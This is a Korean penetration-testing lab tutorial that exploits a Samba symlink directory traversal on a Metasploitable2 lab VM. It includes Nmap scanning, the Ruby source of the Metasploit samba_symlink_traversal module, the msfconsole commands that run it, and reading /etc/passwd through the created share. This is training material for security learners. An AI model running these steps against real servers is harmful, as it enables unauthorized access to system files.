소개
이 랩에서는 Metasploitable2 대상 머신에서 새로운 Samba 취약점을 악용하는 방법을 배우게 됩니다. 과정 전체에서 각 단계별 스크린샷이 제공됩니다. 이 랩을 완료함으로써 Samba 취약점을 악용하기 위한 도구 사용에 대한 실질적인 경험을 얻게 될 것입니다.
이 과정은 순수한 실습 실험 튜토리얼입니다. 실험의 운영을 이해하는 데 도움이 되도록 일부 정보 보안 이론이 소개될 것이며, 실습하는 동안 읽어볼 가치가 있는 가장 중요한 기사들이 추천될 것입니다.
실험 환경 시작
이 단계에서는 실험을 위해 공격 머신 (Kali Linux 컨테이너) 과 대상 머신 (Metasploitable2 가상 머신) 을 시작합니다.
- LabEx 호스트 머신에서 xfce 터미널을 열고 다음 명령을 실행하여 Metasploitable2 대상을 시작합니다.
sudo virsh start Metasploitable2
대상 머신이 시작될 때까지 기다립니다. 1~3 분 정도 소요될 수 있습니다.
- 대상 머신에 대한 연결을 ping 하여 테스트합니다.
ping 192.168.122.102
Ctrl+C를 눌러 ping 을 중지합니다.
- 다음을 실행하여 Kali Linux 컨테이너를 시작하고 bash 환경에 들어갑니다.
docker run -ti --network host b5b709a49cd5 bash
- Kali 컨테이너 내부에서 대상 머신에 대한 네트워크 연결을 테스트합니다.
ping 192.168.122.102
Ctrl+C를 눌러 ping 을 중지합니다.
이제 공격 머신과 대상 머신이 모두 실행 중이며 침투 테스트를 시작할 수 있습니다.
참고: 실수로 현재 bash 를 종료하면 Kali 컨테이너가 자동으로 중지됩니다. 호스트에서 docker run -ti --network host b5b709a49cd5 bash를 다시 실행하여 새 Kali 컨테이너를 시작하고 bash 에 들어가 실험을 계속할 수 있습니다.
대상 호스트의 취약점 스캔
이 단계에서는 Nmap 을 사용하여 대상 호스트의 취약점을 스캔합니다.
먼저, LabEx Kali 환경에서 MSF 터미널에 로그인합니다.
cd ~
service postgresql start
msfdb init
msfconsole
대상 호스트에 대한 정보 수집은 침투 테스트의 첫 번째 단계입니다. Nmap 을 사용하여 대상 호스트의 취약점을 스캔하고 다음 명령을 입력하여 스캔 결과를 /tmp/report.txt 파일에 저장합니다.
nmap -p 1-1000 -T4 -A -v 192.168.122.102 > /tmp/report.txt
여기서 사용된 매개변수는 다음과 같은 의미를 갖습니다.
| 매개변수 | 설명 |
|---|---|
-p |
스캔할 포트 범위를 지정합니다. |
-T4 |
Nmap 스캔의 타이밍 정책을 설정하며, 값은 0-5 (높을수록 빠름) 입니다. |
-A |
운영 체제 감지 및 버전 감지를 활성화합니다. |
-v |
스캔 과정에서 자세한 정보를 표시합니다. |
>/tmp/report.txt |
출력을 나중에 분석하기 위해 파일로 리디렉션합니다. |
포괄적인 정보 수집을 위해 광범위한 포트 범위를 스캔하므로 이 프로세스는 시간이 걸릴 수 있습니다. 인내심을 가지고 1~2 분 정도 기다려 주십시오.
스캔이 완료되면 Ctrl+D를 누르고 cat 명령을 사용하여 LabEx Kali 터미널에서 파일 내용을 봅니다.
cat /tmp/report.txt
텍스트에서 다음과 유사한 정보를 볼 수 있습니다.
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
이는 포트 139 및 445 에서 Samba 서비스가 실행 중임을 나타냅니다.
Samba 취약점 분석
이 단계에서는 Samba 취약점에 대해 배우고 익스플로잇 모듈의 핵심 코드를 분석합니다.
Samba 는 UNIX 와 유사한 운영 체제가 Microsoft Windows 에서 사용하는 SMB/CIFS(Server Message Block/Common Internet File System) 네트워크 프로토콜에 연결할 수 있도록 하는 자유 소프트웨어입니다. 버전 3 은 SMB 폴더 및 프린터에 대한 액세스 및 공유를 허용할 뿐만 아니라 Windows Server 도메인에 도메인 컨트롤러로 통합되거나 Active Directory 에 멤버로 가입할 수도 있습니다. 간단히 말해서, 이 소프트웨어는 Windows 와 UNIX 와 유사한 운영 체제 간의 격차를 해소하여 두 운영 체제 간의 리소스 공유를 가능하게 합니다.
Samba 는 광범위한 응용 프로그램을 가지고 있으므로 Samba 의 취약점은 상당한 영향을 미칠 수 있습니다. Samba 는 선택한 Unix 디렉토리 (모든 하위 디렉토리 포함) 에 대한 네트워크 공유를 생성할 수 있습니다. 이 기능을 통해 Windows 사용자는 일반 Windows 폴더에 액세스하는 것처럼 네트워크를 통해 이러한 Unix 디렉토리에 액세스할 수 있습니다.
이 실험에서 사용된 취약점 인덱스는 다음과 같습니다.
이 실험에서 사용된 samba 모듈의 소스 코드 인덱스는 다음과 같습니다.
핵심 코드 설명을 살펴보겠습니다.
## Module initialization information, including author information and module introduction
def initialize
super(
'Name' => 'Samba Symlink Directory Traversal',
'Description' => %Q{
This module exploits a directory traversal flaw in the Samba
CIFS server. To exploit this flaw, a writeable share must be specified.
The newly created directory will link to the root filesystem.
},
'Author' =>
[
'kcope', ## http://lists.grok.org.uk/pipermail/full-disclosure/2010-February/072927.html
'hdm' ## metasploit module
],
'References' =>
[
['OSVDB', '62145'],
['URL', 'http://www.samba.org/samba/news/symlink_attack.html']
],
'License' => MSF_LICENSE
)
## Register option information
register_options([
OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server']),
OptString.new('SMBTARGET', [true, 'The name of the directory that should point to the root filesystem', 'rootfs'])
], self.class)
end
## Main execution function
def run
## Function to connect to the server
print_status("Connecting to the server...")
connect()
smb_login()
## Connect to the target host
print_status("Trying to mount writeable share '#{datastore['SMBSHARE']}'...")
self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")
## Attempt to enter the root filesystem
print_status("Trying to link '#{datastore['SMBTARGET']}' to the root filesystem...")
self.simple.client.symlink(datastore['SMBTARGET'], "../" * 10)
## Print success message after successful entry
print_status("Now access the following share to browse the root filesystem:")
print_status("\t\\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['SMBTARGET']}\\")
print_line("")
end
end
모듈의 핵심 코드를 설명한 후, 다음 명령을 입력하여 MSF 터미널에서 실제 익스플로잇을 수행해 보겠습니다.
search samba
use auxiliary/admin/smb/samba_symlink_traversal
show options
대상 호스트를 설정합니다.
set RHOST 192.168.122.102
공유 디렉토리를 선택합니다.
set SMBSHARE tmp
참고: 이 Samba 취약점의 영향은 선택한 Unix 디렉토리 (모든 하위 디렉토리 포함) 에 대한 네트워크 공유를 생성할 수 있다는 것입니다.
필요한 모든 매개변수를 설정한 후 취약점을 익스플로잇할 수 있습니다.
exploit
성공하면 다음 메시지가 표시됩니다.
[*] 192.168.122.102:445 - Now access the following share to browse the root filesystem:
익스플로잇에 성공한 후 exit 명령으로 종료하고 터미널에서 smbclient를 사용하여 연결할 수 있는지 테스트합니다. 암호를 묻는 메시지가 표시되지만 암호를 입력하지 않고 Enter 키를 누를 수 있습니다.
exit
smbclient //192.168.122.102/tmp
연결되면 다음 명령을 실행하여 루트 파일 시스템에 대한 액세스를 확인할 수 있습니다.
more rootfs/etc/passwd
다음과 유사한 출력을 볼 수 있습니다.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
[....]
이는 취약점을 성공적으로 악용하여 생성된 네트워크 공유를 통해 대상 호스트에 액세스했음을 확인합니다.
Metasploit 콘솔을 종료하려면 Ctrl+D 를 누른 다음 검사를 시작합니다.
요약
이 랩에서는 Metasploitable2 의 Samba 취약점에 대해 배우고, 원래 단계를 사용하여 대상 시스템에서 이 취약점을 악용하는 과정을 안내받았습니다. 그런 다음 생성된 네트워크 공유를 사용하여 손상된 대상 호스트에 로그인했습니다. 이 랩에서 다룬 주요 내용은 다음과 같습니다.
- Linux 기본 명령어
- Nmap 취약점 스캔
- 스캔된 Samba 취약점 분석
symlink_traversal모듈의 핵심 코드 설명- 네트워크 파일 공유를 사용하여 대상 호스트에 로그인
침투 테스트 프로세스에 대한 이해를 강화하기 위해 이러한 단계를 반복적으로 연습하는 것이 좋습니다. 권장 읽기 섹션에서는 Samba 취약점에 대한 지식을 심화할 수 있는 추가 리소스를 제공합니다.



